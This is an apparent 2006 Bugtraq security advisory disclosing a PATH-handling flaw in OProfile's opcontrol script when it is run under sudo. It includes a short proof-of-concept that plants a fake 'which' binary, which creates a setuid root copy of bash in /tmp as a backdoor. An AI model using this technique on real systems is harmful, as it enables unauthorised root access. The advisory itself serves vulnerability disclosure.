bugtraq - Arbitrary code execution via OProfile

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Date: Tue, 07 Feb 2006 19:48:16 +0000
From: Luís Miguel Silva <lms@...up.pt>
To: bugtraq@...urityfocus.com
Subject: Arbitrary code execution via OProfile

Hello all,

I recently audited a box with a software called OProfile
(http://oprofile.sourceforge.net/).

"OProfile is a system-wide profiler for Linux systems, capable of profiling all
running code at low overhead. OProfile is released under the GNU GPL.
It consists of a kernel driver and a daemon for collecting sample data, and
several post-profiling tools for turning data into information.
OProfile leverages the hardware performance counters of the CPU to enable
profiling of a wide variety of interesting statistics, which can also be used
for basic time-spent profiling. All code is profiled: hardware and software
interrupt handlers, kernel modules, the kernel, shared libraries, and
applications.
OProfile is currently in alpha status; however it has proven stable over a large
number of differing configurations; it is being used on machines ranging from
laptops to 16-way NUMA-Q boxes. As always, there is no warranty. "

At least one of the scripts that ships with this software (opcontrol) has a
security flaw which enables a user to run arbitrary commands.

The script itself isnt suid root *but*, to take full advantage of some of the
features the software has, a lot of administrators give 'sudo' privileges to
that script.

Whoever coded the script tried protecting it against executing binaries out of a
safe PATH by defining one on line 1416:
PATH=/usr/local/bin:/usr/local/sbin:/bin:/sbin:/usr/bin:/usr/sbin

The problem is that this script does not check where the 'which' or 'dirname'
binary is executed from on line 1413/1414.

This enables a malicious user to execute arbitrary code by using the following
pseudo'exploit':
cat > which
#!/bin/sh
/bin/cp /bin/bash /tmp/backdoor
/bin/chmod 6755 /tmp/backdoor
^C
set PATH="."
/usr/bin/sudo /usr/local/bin/opcontrol

Vulnerable: <= oprofile-0.9.1

I contacted the developer(s) and got the following response:
"Do not trust admin privileges to unaudited code" - indeed these are words of
wisdom :o)

Apparently giving sudo to oprofile is a very common practice [Take RedHat for
instance -> http://www.redhat.com/magazine/012oct05/features/oprofile/ ].

Best regards,
+---------------------------------
| Luís Miguel Ferreira da Silva
| Unidade de Qualidade e Segurança
| Centro de Informática
| Professor Correia Araújo
| Faculdade de Engenharia da
| Universidade do Porto
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